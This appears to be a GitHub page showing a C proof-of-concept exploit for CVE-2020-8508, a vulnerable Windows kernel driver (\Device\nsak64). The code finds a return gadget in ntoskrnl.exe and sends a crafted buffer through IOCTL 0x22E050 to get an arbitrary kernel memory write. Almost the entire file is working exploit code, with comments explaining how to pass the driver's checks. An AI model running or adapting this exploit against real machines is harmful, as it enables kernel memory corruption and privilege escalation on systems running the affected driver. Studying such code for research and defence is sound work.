-
Notifications
You must be signed in to change notification settings - Fork 20
/
Copy pathCVE-2020-8508.c
129 lines (121 loc) · 4.27 KB
/
CVE-2020-8508.c
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
#include <windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
typedef unsigned long long QWORD; // DWORD64
LPVOID GetNtKernelBase()
{
LPVOID lpDriver;
/*
ntoskrnl.exe is always the first driver, so you don't need to loop through to find it
*/
K32EnumDeviceDrivers(&lpDriver, sizeof(LPVOID), NULL);
return(lpDriver);
}
LPVOID FindNtKernelGadget()
{
MEMORY_BASIC_INFORMATION memInfo;
HMODULE hKernel;
LPVOID lpPointer;
BOOL bFound;
BYTE bGadget1[] = { 0x8A, 0xC1, 0xC3 };
/*
Search ntoskrnel for:
mov al, cl
ret
*/
hKernel = LoadLibraryExA("ntoskrnl.exe", 0, DONT_RESOLVE_DLL_REFERENCES);
if (hKernel)
{
bFound = FALSE;
(QWORD)lpPointer = hKernel;
for (lpPointer = NULL; VirtualQuery(lpPointer, &memInfo, sizeof(memInfo)); (QWORD)lpPointer += memInfo.RegionSize)
{
if (memInfo.Protect == PAGE_EXECUTE_READ)
{
for (QWORD qwIndex = 0; qwIndex < memInfo.RegionSize; qwIndex++)
{
if (!memcmp((QWORD)lpPointer + qwIndex, &bGadget1, sizeof(bGadget1)))
{
bFound = TRUE;
(QWORD)lpPointer += qwIndex;
break;
}
}
}
if (bFound)
{
break;
}
}
(QWORD)lpPointer -= (QWORD)hKernel;
FreeLibrary(hKernel);
(QWORD)lpPointer += (QWORD)GetNtKernelBase();
return(lpPointer);
}
return(0);
}
int main(int argc, char* argv[]) {
OBJECT_ATTRIBUTES objAttr;
IO_STATUS_BLOCK ioBlock;
UNICODE_STRING usDeviceName;
NTSTATUS ntRet;
HANDLE hDriver;
LPVOID lpIn;
LPVOID lpOut;
QWORD qwMov;
DWORD dwBytesOut;
QWORD qwKernelGadget;
DWORD dwIoctl;
qwKernelGadget = FindNtKernelGadget();
printf("[i] Kernel Gadget: 0x%I64X\n", qwKernelGadget);
RtlInitUnicodeString(&usDeviceName, L"\\Device\\nsak64"); // SOMETIMES nsak64 or norman
InitializeObjectAttributes(&objAttr, &usDeviceName, 0, 0, 0);
lpIn = VirtualAlloc(0x45000000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
lpOut = VirtualAlloc(0x42000000, 0x1000, MEM_RESERVE | MEM_COMMIT, PAGE_READWRITE);
ntRet = NtCreateFile(&hDriver, FILE_READ_ACCESS | FILE_WRITE_ACCESS, &objAttr, &ioBlock, 0, 0, 0, OPEN_EXISTING, 0, 0, 0);
if (hDriver != INVALID_HANDLE_VALUE)
{
printf("[i] Opened driver with handle: 0x%X\n", hDriver);
/*
There are many vulnerable IOCTLs, but 0x22E050 is probably the easiest to exploit
*/
dwIoctl = 0x22E050;
/*
These "random" values are required to pass certain compare operations.
Some values are derefenced so a pointers to a valid memory location is required.
It's worth noting this all happens in a try-catch block, so exceptions won't cause a BSoD.
*/
qwMov = 0x61792283;
memmove(lpIn, &qwMov, sizeof(DWORD));
qwMov = 0x88;
memmove((BYTE*)lpIn + 0x4, &qwMov, sizeof(DWORD));
qwMov = 0x45000030; // Pointer
memmove((BYTE*)lpIn + 0x10, &qwMov, sizeof(QWORD));
qwMov = 0x45000040; // Pointer
memmove((BYTE*)lpIn + 0x30, &qwMov, sizeof(QWORD));
qwMov = 0x45000080; //Pointer
memmove((BYTE*)lpIn + 0x40, &qwMov, sizeof(QWORD));
qwMov = 0x45000050; // Pointer
memmove((BYTE*)lpIn + 0xDC, &qwMov, sizeof(QWORD));
qwMov = 0x4C53D3;
memmove((BYTE*)lpIn + 0x50, &qwMov, sizeof(QWORD));
qwMov = 0x108;
memmove((BYTE*)lpIn + 0x54, &qwMov, sizeof(QWORD));
qwMov = qwKernelGadget; // First call (mov al, cl; then ret)
memmove((BYTE*)lpIn + 0xF8, &qwMov, sizeof(QWORD));
qwMov = ((BYTE*)qwKernelGadget + 0x2); // Second call (simply a ret)
memmove((BYTE*)lpIn + 0xA8, &qwMov, sizeof(QWORD));
qwMov = 0xEEEEEEEEEEEEEEEE; // The WHERE (pointer to any kerenl mode address)
memmove((BYTE*)lpIn + 0x8, &qwMov, sizeof(QWORD));
qwMov = 0xDD; // Only 1 fully controllable byte will get written (but as a DWORD)
memmove((BYTE*)lpIn + 0x80, &qwMov, sizeof(QWORD));
DeviceIoControl(hDriver, dwIoctl, lpIn, 0x1000, lpOut, 0x1000, &dwBytesOut, NULL);
printf("[.] Press enter to exit...\n");
getchar();
ExitProcess(0);
}
printf("[!!!] Unable to open driver\n");
ExitProcess(-1);
return(0);
}